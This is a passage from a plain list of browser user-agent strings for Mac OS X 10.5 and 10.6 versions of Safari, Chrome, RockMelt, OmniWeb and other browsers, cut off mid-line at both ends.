(KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; es-es) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; fr-ca) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; fr-fr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; fr-fr) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; fr-fr) AppleWebKit/530.5+ (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; hr-hr) AppleWebKit/530.1+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; it-it) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; it-it) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; it-it) AppleWebKit/528.8+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; ko-kr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; ko-kr) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; nb-no) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; nb-no) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; ru-ru) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; ru-ru) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; zh-tw) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; de-de) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; de-de) AppleWebKit/525.28.3 (KHTML, like Gecko) NetNewsWire/3.1.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; de-de) AppleWebKit/525.28.3 (KHTML, like Gecko) Version/3.2.3 Safari/525.28.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/528.16 (KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/528.16+(KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/530.18+(KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.192 Safari/531.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196 Safari/532.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.1 Safari/532.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.18 (KHTML, like Gecko) Version/4.0 Safari/528.17\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.1 Safari/530.18\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/4.0.1 Safari/530.18\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; fr-fr) AppleWebKit/528.18.1 (KHTML, like Gecko) Version/4.0 Safari/528.17\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7;en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197 Safari/532.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.210.0 Safari/532.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.2 Safari/532.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.302.2 Safari/532.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.343.0 Safari/533.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.422.0 Safari/534.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.13 (KHTML, like Gecko) RockMelt/0.9.48.59 Chrome/9.0.597.107 Safari/534.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.549 Chrome/10.0.648.205 Safari/534.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.116 Chrome/7.0.517.44 Safari/534.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.3 Safari/531.21.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; es-es) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; fi-fi) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; fr-fr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; hu-hu) AppleWebKit/523.15.1 (KHTML, like Gecko) Version/3.0.4 Safari/523.15\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; it-it) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; nl-nl) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-cn) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-tw) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6; en-gb) AppleWebKit/530.1 (KHTML, like Gecko) Version/4.0 Safari/530.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6; en-us) AppleWebKit/530.1 (KHTML, like Gecko) Version/4.0 Safari/530.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6; en-us) AppleWebKit/530.3 (KHTML, like Gecko) Version/4.0 Safari/530.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6; en-us) AppleWebKit/530.6+ (KHTML, like Gecko) Version/4.0 Safari/530.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.4 Safari/532.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.1 Safari/532.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.307.11 Safari/532.9\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-us) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; nl-nl) AppleWebKit/531.9 (KHTML, like Gecko) Fluid/0.9.6 Safari/531.9\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; nl-nl) AppleWebKit/532.3+ (KHTML, like Gecko) Fluid/0.9.6 Safari/532.3+\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; nl-nl) AppleWebKit/532.3+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; de-at) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; de-de) AppleWebKit/531.21.8 (KHTML, like Gecko) NetNewsWire/3.2.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/531.21.8+(KHTML, like Gecko, Safari/528.16) OmniWeb/v622.11.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Iron/4.0.275.2 Chrome/4.0.275.2 Safari/532.5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.343.0 Safari/533.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.0 Safari/533.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.70 Safari/533.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Shiira Safari/125\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; ja-jp) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; nb-no) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; ru-ru) AppleWebKit/533.2+ (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; HTC-P715a; en-ca) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ca-es) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; de-de) AppleWebKit/531.22.7 (KHTML, like Gecko) NetNewsWire/3.2.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; de-de) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; el-gr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/531.9+(KHTML, like Gecko, Safari/528.16) OmniWeb/v622.10.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.363.0 Safari/533.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.0 Safari/533.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.456.0 Safari/534.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-au) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/531.21.11 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/533.4+ (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/534.1+ (KHTML, like Gecko) Version/5.0 Safari/533.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us; Silk/1.0.13.81_10003810) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Silk-Accelerated=true\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; es-es) AppleWebKit/531.22.7 (KHTML, like Gecko)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; it-it) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ja-jp) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ko-kr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ru-ru) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; zh-cn) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.7 Safari/533.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.414.0 Safari/534.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.210 Safari/534.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.10 (KHTML, like Gecko) RockMelt/0.8.40.147 Chrome/8.0.552.231 Safari/534.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.13 (KHTML, like Gecko) RockMelt/0.9.46.126 Chrome/9.0.597.107 Safari/534.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.13 (KHTML, like Gecko) RockMelt/0.9.48.59 Chrome/9.0.597.107 Safari/534.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.0 Safari/534.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.655.0 Safari/534.17\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.451.0 Safari/534.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.116 Chrome/7.0.517.44 Safari/534.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; fr-FR) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; ha) AppleWebKit/534.13 (KHTML, like Gecko) RockMelt/0.445.436.1326 Chrome/12.0.632.107 Safari/534.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; th-th) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; ar) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; de-de) AppleWebKit/534.15  (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; de-de) AppleWebKit/534.15+ (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.639.0 Safari/534.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Flock/3.5.0.4568 Chrome/7.0.517.440 Safari/534.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.116 Chrome/7.0.517.44 Safari/534.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.79 Safari/534.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; de-de) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.10 (KHTML, like Gecko) RockMelt/0.8.40.147 Chrome/8.0.552.231 Safari/534.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Iron/9.0.600.2 Chrome/9.0.600.2 Safari/534.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.13 (KHTML, like Gecko) RockMelt/0.9.48.51 Chrome/9.0.597.107 Safari/534.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.13 (KHTML, like Gecko) RockMelt/0.9.48.59 Chrome/9.0.597.107 Safari/534.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.459 Chrome/10.0.648.204 Safari/534.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.518 Chrome/10.0.648.205 Safari/534.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.549 Chrome/10.0.648.205 Safari/534.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.18 (KHTML, like Gecko) Chrome/11.0.660.0 Safari/534.18\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Flock/3.5.3.4628 Chrome/7.0.517.450 Safari/534.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.74 Chrome/7.0.517.44 Safari/534.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-gb) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-us) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; es-es) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; fr-ch) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; fr-fr) AppleWebKit/533.20.25 (KHTML, like Gecko) 